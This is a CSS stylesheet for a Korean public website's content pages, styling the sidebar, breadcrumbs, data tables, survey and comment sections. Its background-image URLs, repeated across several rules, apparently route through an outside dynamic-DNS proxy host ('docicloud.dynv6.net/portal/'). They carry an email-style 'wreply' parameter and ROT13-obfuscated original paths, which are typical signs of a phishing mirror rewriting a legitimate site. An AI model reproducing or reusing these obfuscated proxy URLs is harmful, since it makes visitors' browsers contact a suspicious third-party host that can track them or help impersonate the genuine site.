#contentsContainer {font-size:14px; color:#555; word-break: break-all; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Sphy%2Spff%2S..%2Svzntrf%2Sfho_pbzzba%2Sfho_ot.tvs) repeat-y;}

#contentsContainer .sidebar {}
#contentsContainer .sidebar-title {position:relative; height:140px; background:#8d6a40; color:#FFF; text-align:center;}
#contentsContainer .sidebar-title h2 {font-size:26px; margin:0; line-height:120px; font-weight:bold;}
#contentsContainer .sidebar-title p {position:absolute; top:80px; left:0; font-size:12px; width:235px;}
#contentsContainer .sidebar > ul {width:233px; margin:0 0 150px 1px;}
#contentsContainer .sidebar > ul > li {width:233px;}
#contentsContainer .sidebar > ul > li > a {display:block; height:50px; line-height:50px; padding-left:20px; font-size:16px; color:#555; border-bottom:1px solid #CCC;}
#contentsContainer .sidebar > ul > li > ul {display:none;}
#contentsContainer .sidebar > ul > li.active {margin-top:-1px; border-top:1px solid #8d6a40; border-bottom:1px solid #8d6a40;}
#contentsContainer .sidebar > ul > li.active > a {color:#8d6a40; font-weight:bold; background:#fbf6ef;}
#contentsContainer .sidebar > ul > li.active ul {display:block; padding:10px 0; background:#fbf6ef; border-bottom:1px solid #FFF;}
#contentsContainer .sidebar > ul > li.active ul > li > a {display:block; padding-left:20px; line-height:25px; background:#fbf6ef; font-size:14px; color:#555;}
#contentsContainer .sidebar > ul > li.active ul > li > a.active {color:#1D57BD; text-decoration:underline;}

.sub-contents {position:relative; float:right; width:745px; padding-left:0;}
.sub-contents .breadcrumb {background:none; height:40px; padding:0; margin:0; border-radius:0; border-bottom:1px solid #CCC; font-size:12px; color:#555; letter-spacing:-0.6px;}
.sub-contents .breadcrumb > li + li:before { color:#555; content: "> ";  padding: 0 5px;}
.sub-contents .breadcrumb > li i {font-size:20px; line-height:40px;}
.sub-contents .breadcrumb > li.active a {color:#1D57BD;}
.sub-contents .print {position:absolute; top:10px; right:0;}
.sub-contents .print i {font-size:20px;}
.sub-contents h2.page-title {margin:0; padding:0; line-height:100px; font-size:30px; font-weight:bold; letter-spacing:-0.6px; color:#333;}

#contentsContainer .contents-wrapper {width:745px;}

#contentsContainer .contents-wrapper h3 {clear:both; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Sphy%2Spff%2S..%2Svzntrf%2Sfho%2Svpba_01.tvs) no-repeat; height:40px; line-height:40px; margin:0 0 15px 0; padding-left:30px; font-size:16px; font-weight:bold; color:#333;}
#contentsContainer .contents-wrapper h4 {clear:both; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Sphy%2Spff%2S..%2Svzntrf%2Sfho%2Svpba_02.tvs) no-repeat 0 2px; margin:0 0 10px 0; padding-left:15px; font-size:16px; font-weight:bold; color:#333;}
#contentsContainer .contents-wrapper h5 {clear:both; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Sphy%2Spff%2S..%2Svzntrf%2Sfho%2Svpba_03.tvs) no-repeat 0 7px; margin:0 0 10px 0; padding-left:10px; font-size:14px; font-weight:bold; color:#333;}

#contentsContainer  .contents-wrapper ul {list-style:none; margin:0 0 20px 18px; padding:0;}
#contentsContainer  .contents-wrapper ul li {background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Sphy%2Spff%2S..%2Svzntrf%2Sfho%2Svpba_03.tvs) no-repeat 0 8px; padding-left:12px;}
#contentsContainer  .contents-wrapper ul.list-unstyled li {background:none; padding-left:12px;}
#contentsContainer  .contents-wrapper p {padding:0 0 15px 0; margin:0;}
#contentsContainer  .contents-wrapper p.in {padding:0 0 15px 15px;}

/*추가*/
#contentsContainer  .contents-wrapper table { width:100%;}

#contentsContainer  .contents-wrapper table.table.table-data,
#contentsContainer  .contents-wrapper table.table.table-list,
#contentsContainer  .contents-wrapper table.table.table-view,
#contentsContainer  .contents-wrapper table.table.table-form {border-top:2px solid #555; }
#contentsContainer  .contents-wrapper table.no-caption caption {display:none;}
#contentsContainer  .contents-wrapper table.caption-bottom-center caption {caption-side: bottom; text-align: center;}

#contentsContainer  .contents-wrapper table.table.table-data thead th,
#contentsContainer  .contents-wrapper table.table.table-list thead th,
#contentsContainer  .contents-wrapper table.table.table-form th,
#contentsContainer  .contents-wrapper table.table.table-view th {padding:8px 5px; background:#f9f4ee; color:#555; border:1px solid #ccc; text-align:center; white-space: nowrap;}
#contentsContainer  .contents-wrapper table.table.table-data tbody td,
#contentsContainer  .contents-wrapper table.table.table-list tbody td {padding:8px 10px; border:1px solid #ccc; vertical-align:middle; text-align: center;}
#contentsContainer  .contents-wrapper table.table.table-data tbody td.contents,
#contentsContainer  .contents-wrapper table.table.table-list tbody td.contents,
#contentsContainer  .contents-wrapper table.table.table-data tbody td.title,
#contentsContainer  .contents-wrapper table.table.table-list tbody td.title {text-align: left;}

#contentsContainer .contents-wrapper ul.nav {
	margin: 0;
}
#contentsContainer .contents-wrapper ul.nav li {
	list-style: none;
	margin: 0;
	padding: 0;
	background: none;
}

/*
#contentsContainer table tr td dl dt {clear:both; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwharg%2Svzntrf%2Sfho%2Svpba_02.tvs) no-repeat 0 5px; margin:10px 0; padding-left:15px; font-size:16px; font-weight:bold; color:#333;}
#contentsContainer table tr td dl dd {background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwharg%2Svzntrf%2Sfho%2Svpba_03.tvs) no-repeat 0 7px; margin-left:10px; padding-left:12px;}
 */

#contentsContainer .img-txt {position:relative;}
#contentsContainer .img-txt .txt1 {position:absolute; top:90px; left:50px; font-size:24px; font-weight:bold; color:#FFF;}
#contentsContainer .img-txt .txt2 {position:absolute; top:210px; left:50px; font-size:24px; color:#FFF;}










#contactUs {clear:both; height:50px; border-top:1px solid #CCC; border-right:1px solid #CCC; border-left:1px solid #CCC; font-size:14px;}
#contactUs dl {margin-top:10px;}
#contactUs dl dt {float:left; height:30px; line-height:30px; padding:0 20px; border-left:1px solid #CCC;}
#contactUs dl dt:nth-of-type(1) {border-left:0 none;}
#contactUs dl dd:nth-of-type(1) {width:250px;}
#contactUs dl dd:nth-of-type(2) {width:110px;}
#contactUs dl dd {float:left; height:30px; line-height:30px;}

#pageSurvey {clear:both; height:120px; background:#EEE; border-right:1px solid #CCC; border-left:1px solid #CCC;}
#pageSurvey dl {padding:15px 20px 0 20px; font-size:14px;}
#pageSurvey dl dd {padding-top:10px;}
#pageSurvey dl dd ul {margin:0;}
#pageSurvey dl dd label {margin-right:35px; font-weight:normal;}
#pageSurvey dl dd label input {margin-right:5px;}
#pageSurvey dl dd input[type='text'] {width:645px; height:30px; padding-left:10px; border:1px solid #CCC; border-top-left-radius:3px; border-bottom-left-radius:3px;}
#pageSurvey dl dd button {width:59px; height:30px; margin-left:-1px; background:#333; color:#FFF; border:0 none; border-top-right-radius:3px; border-bottom-right-radius:3px;}

#snsReply {position:relative; clear:both; padding:15px 20px 5px 20px; margin-bottom:20px; background:#EEE; border:1px solid #CCC;}
#snsReply .sns-select em {margin-left:30px; font-style:normal;}
#snsReply .comment textarea {width:645px; height:60px; padding-left:10px; border:1px solid #CCC; border-top-left-radius:3px; border-bottom-left-radius:3px;}
#snsReply .comment button {width:59px; height:60px; margin-left:-1px; background:#333; color:#FFF; border:0 none; border-top-right-radius:3px; border-bottom-right-radius:3px;}
#snsReply .comment span {position:absolute; top:20px; right:20px;}
#snsReply .comment em {}
#snsReply ul {padding-top:10px;}
#snsReply ul li {padding:5px 0;}
#snsReply ul li img {}
#snsReply ul li strong {display:inline-block; width:70px;}
#snsReply ul li em {float:right; font-style:normal;}